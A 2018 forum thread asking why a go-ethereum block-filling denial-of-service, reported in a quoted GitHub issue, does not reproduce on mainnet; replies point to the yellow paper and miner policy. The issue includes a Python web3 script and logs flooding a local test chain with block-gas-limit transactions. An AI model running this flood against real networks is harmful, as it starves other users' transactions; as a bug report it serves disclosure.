Go-ethereum network DoS, but main net is not vulnerable. Why?

fastchain · July 25, 2018, 9:02am

Hello,
the full description of the problem is here

Pending block includes transactions by sum of transaction gas limit. Possible network DoS.

opened 03:36AM - 11 Jul 18 UTC

closed 08:26AM - 11 Jul 18 UTC

#### System information Geth version: v1.8.3-stable OS & Version: linux-amd6…4 Commit hash : 329ac18e Banner: Geth/v1.8.3-stable-329ac18e/linux-amd64/go1.10 #### Expected behaviour Pending block should include transactions by sum of actual spent gas. #### Actual behaviour Pending block includes transactions by sum of transactions gas limit. #### Steps to reproduce the behaviour 1. Init new chain with ``` { "config": { "chainId": 88658, "homesteadBlock": 0, "eip155Block": 0, "eip158Block": 0 }, "coinbase" : "0x0000000000000000000000000000000000000000", "difficulty" : "0x1", "extraData" : "0x00", "gasLimit" : "0x47e7c5", "nonce" : "0x0000000000000042", "mixhash" : "0x0000000000000000000000000000000000000000000000000000000000000000", "parentHash" : "0x0000000000000000000000000000000000000000000000000000000000000000", "timestamp" : "0x00", "alloc" : { "0xcc89924c686db81e592329e86a06339995362931": {"balance": "888888888888888888888888"} } } ``` 1. Send siqence of transactions with maximum possible (according to block limit) gas. ``` import json import web3 import time from web3 import Web3, HTTPProvider, TestRPCProvider, IPCProvider web3 = Web3(HTTPProvider('http://localhost:40000')) print(web3.personal.unlockAccount(web3.eth.coinbase, '')) print(web3.eth.blockNumber) while True: time.sleep(1) print(web3.eth.sendTransaction({'to': Web3.toChecksumAddress('0xe778cf0902521dd08162c3e614718a4b4b19542d'), 'from': web3.eth.coinbase, 'value': 1,'gas':4712388})) #4712388 -- block gas limit ``` 2. Wait until transactions will be mined 3. v1.8.3-stable mines only one transaction per block disregard how much gas actually spent #### DoS Attack scenario Malicious actor can create sequince of transactions with gas limit equal to block gas limit each, so no other transactions will be included into pending block from the pool. Since actual gas consumption for ether transfer is low, this attack costs almost nothing. #### Trace ``` INFO [07-11|05:29:58] Submitted transaction fullhash=0xe4dc8ed35c62aee6e2c411f2a1bbaff8c5c7a73cc0e5e4f0feb049908745eda1 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:00] Submitted transaction fullhash=0xf3bbd062b9315f8c77fac086077984c59e6822aa5ae77acd24509701f448b5d8 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:01] Submitted transaction fullhash=0xab29d1bc6f328ede1f9a1197a86da5928c6cae4f150aa7be7931e2fe2efea24b recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:03] Submitted transaction fullhash=0x5a3f99727605abb86014c13ff15b6653235526b0f8dd2912f75ca46e96d25c26 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:04] Submitted transaction fullhash=0xb42f3bd646e11526a68cc4bf5ef9aaea9a1e425fa6005047198a9899b59a394a recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:06] Submitted transaction fullhash=0xabeb3ddb5337cd52cfdbf090eb28657ff0ac2b1a59cd6004dd94b1c3ecba4039 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:07] Successfully sealed new block number=295709 hash=047ff8…42b042 INFO [07-11|05:30:07] 🔗 block reached canonical chain number=295704 hash=c1a583…126861 INFO [07-11|05:30:07] 🔨 mined potential block number=295709 hash=047ff8…42b042 INFO [07-11|05:30:07] Commit new mining work number=295710 txs=1 uncles=0 elapsed=284.088µs INFO [07-11|05:30:07] Submitted transaction fullhash=0x4181f7fec0beeb185119fe23251430cbfca6515165140f06d1bbf1f2f4da3769 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:08] Successfully sealed new block number=295710 hash=d1c77e…bea301 INFO [07-11|05:30:08] 🔗 block reached canonical chain number=295705 hash=94a366…4026e6 INFO [07-11|05:30:08] 🔨 mined potential block number=295710 hash=d1c77e…bea301 INFO [07-11|05:30:08] Commit new mining work number=295711 txs=1 uncles=0 elapsed=176.021µs INFO [07-11|05:30:09] Submitted transaction fullhash=0x868dd337834ffb2667dd6c010bfd9a4bbe38ea1349fbd9e0ca5df07346bb8228 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:10] Submitted transaction fullhash=0x88fc983a2c0754f92715118f3838b95d1ca73b9fc7672825eefa6cdba1c6d168 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:12] Submitted transaction fullhash=0x31147a9f6211dac7a99ba2f521b7f142a5368a373192789ea943cec1d8da408d recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:13] Submitted transaction fullhash=0x7a9c897fdea1d747e8b0afbec50cec73f604c554f64ea563c83dab567b787d65 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:15] Submitted transaction fullhash=0xdaf37c1f8c9548e072f5d4b99ac2b3280b932937fff553a19534eba1ca6c2693 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:16] Successfully sealed new block number=295711 hash=fe5034…4ea454 INFO [07-11|05:30:16] 🔗 block reached canonical chain number=295706 hash=a2cf5c…c178cf INFO [07-11|05:30:16] 🔨 mined potential block number=295711 hash=fe5034…4ea454 INFO [07-11|05:30:16] Commit new mining work number=295712 txs=1 uncles=0 elapsed=261.808µs INFO [07-11|05:30:17] Submitted transaction fullhash=0x82c6e849c5b32d08c7462dfad566ea7ac918ec645afafb302fe29c10f954b51b recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:18] Submitted transaction fullhash=0x1b394526d32fe84796b0ed1d5a2444e53171cf5c7920854ccfb7ad38c8fb19e2 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:20] Submitted transaction fullhash=0x5dc9ed2694edc925020a2f67fe08e30143dbf339e271f8651e61e02e0fc0b445 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:21] Submitted transaction fullhash=0x321c23b254820e4a8b390ec18967866327c046cdb3a2809601a7da39683e61c3 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:23] Submitted transaction fullhash=0x14efaac9f3c3b30abe7b3d6580842c29cc8f06ce8b05e699d23664329293c004 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:24] Submitted transaction fullhash=0x01faf3b02dc67e94d65a2bf38cc7d0a855d630a805cc6cc396092b63a792efde recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:26] Submitted transaction fullhash=0x31cfd7adce9ffd01fef1ef91e3ff0e49ab6554d19a3a694d1b818a967468e00c recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:27] Submitted transaction fullhash=0xc256539e8b4118259225813544df4fd69c2838d26ce63689f9579036e3095ba6 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:29] Submitted transaction fullhash=0xe035b61b8430e128652cd1c32f1745302b1488cb983cb2bae9836bab276187c8 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:30] Submitted transaction fullhash=0xc60074bff00ee1f40ce53550c9ba89ea721352245430ff74afed9fbe25a193bc recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:32] Submitted transaction fullhash=0x90c6d82e8fec268b8f91a67f02320db183a7d0c71c0b6386fdecefe49ae40782 recipient=0xE778CF0902521Dd08162C3e614718a4b4b19542d INFO [07-11|05:30:33] Successfully sealed new block number=295712 hash=b43c36…e728b7 INFO [07-11|05:30:33] 🔗 block reached canonical chain number=295707 hash=3f2c86…8dd164 INFO [07-11|05:30:33] 🔨 mined potential block number=295712 hash=b43c36…e728b7 INFO [07-11|05:30:33] Commit new mining work number=295713 txs=1 uncles=0 elapsed=335.136µs ``` as you may see, there is only one transaction per block

go-ethereum devs says, that it is safe behaviour (it’s quite strange statment).

This behaviour could not be reproduced on the main net. So it seems that main net uses different pending block creation rules. Could you please explain this rules, or where I can read about it?

Thank you.

kladkogex · July 25, 2018, 12:42pm

This is the from the yellowpaper

Note the final condition; the sum of the transaction’s
gas limit, Tg, and the gas utilised in this block prior, given
by `(BR)u, must be no greater than the block’s gasLimit,
BHl

So the security problem is in the yellow paper. On the other hand
miners can enforce additional restrictions since it is in their interest
to maximize gas earned.

Thats what they probably do on the main net, the question is where is it implemented in the source code.

fastchain · July 26, 2018, 2:56am

Dear @kladkogex
Thank you for your reply.

the question is where is it implemented in the source code.

Could you please recommend the right place to ask about implementation of this kind of software?

kladkogex · July 26, 2018, 8:00am

I think you need to talk to miners of the main net. They create blocks.
They may use special purpose software - not geth default, or geth with non-default parameters … Theoretically miners include whatever they deem good for themselves subject to the contstraint of block gas limit.